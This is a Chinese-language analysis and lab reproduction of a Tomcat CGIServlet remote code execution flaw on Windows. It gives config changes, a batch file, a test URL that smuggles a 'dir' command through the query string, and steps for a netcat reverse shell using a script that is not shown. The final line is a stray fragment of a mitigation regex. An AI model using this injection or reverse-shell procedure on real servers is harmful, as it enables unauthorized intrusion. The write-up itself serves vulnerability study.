
Apache Tomcat - CGIServlet enableCmdLineArguments 远程代码执行(RCE)漏洞分析与 PoC
针对 Apache Tomcat - CGIServlet enableCmdLineArguments 远程代码执行(RCE)漏洞的分析与 PoC
视频 PoC 可在 https://www.youtube.com/watch?v=RA7kzuHOWqA 观看
Apache Tomcat 的 CGI Servlet 存在一个漏洞,可被利用以实现远程代码执行(RCE)。只有在 Windows 上以非默认配置并结合批处理文件运行时,该漏洞才能被利用。 通用网关接口(CGI)是一种标准协议,允许 Web 服务器通过 Web 请求执行命令行程序/脚本。该协议还支持通过 URL 参数将命令行参数传递给正在执行的脚本或程序。该协议本身在 RFC 3875 中定义。 在 Windows 上启用 enableCmdLineArguments 时,由于 JRE 向 Windows 传递命令行参数的方式存在缺陷,Apache Tomcat 中的 CGI Servlet 容易遭受 RCE 攻击。CGI Servlet 默认处于禁用状态。在 Tomcat 9.0.x 中,CGI 选项 enableCmdLineArguments 默认禁用(并且为响应此漏洞,所有版本都将默认禁用该选项)。
视频 PoC 可在 https://www.youtube.com/watch?v=RA7kzuHOWqA 观看
1.你需要在一台 Windows PC 上安装 Apache 服务器以及上述任一存在漏洞的 Tomcat 版本。此外,你还需要在同一台机器上安装 Java JRE。 2.就我而言,我在 XAMPP 服务器上安装了 Apache Tomcat 9.0.0.M1。 3.安装 Tomcat 后,请对配置进行以下更改:
a.修改 conf/context.xml,将其改为 <Context privileged="true">

b.在 /conf/web.xml 文件中,分别在第 366 行和第 420 行附近进行以下更改。

由于我们使用的是 Tomcat 9,enableCmdLineArguments 需要设置为 True。
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>

<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi/*</url-pattern>
</servlet-mapping>
4.在 webapps\ROOT\WEB-INF\cgi 中为 CGI 文件创建一个文件夹,并添加一个包含以下内容的 ism.bat 文件:

@echo off
echo Content-Type: text/plain
echo .
5.现在一切就绪;启动服务器并访问 http://localhost:8080/cgi/ism.bat?&dir,检查服务器是否正常工作。

6.在这里,我们发现该 RCE 后,现在要使用 netcat 获取反向 shell:在攻击者机器上启动服务器(确保该目录中有 nc.exe),并开启一个 netcat 监听器以接收连接。
7.现在运行 cve-2019-0232.py,并在其中添加服务器 IP 和端口。
8.我们最终成功获取了反向 shell。

视频 PoC 链接: https://www.youtube.com/watch?v=RA7kzuHOWqA
[[a-zA-Z0-9\Q-_.\\/:\E]+],以防止输入在 Windows 系统上作为命令执行。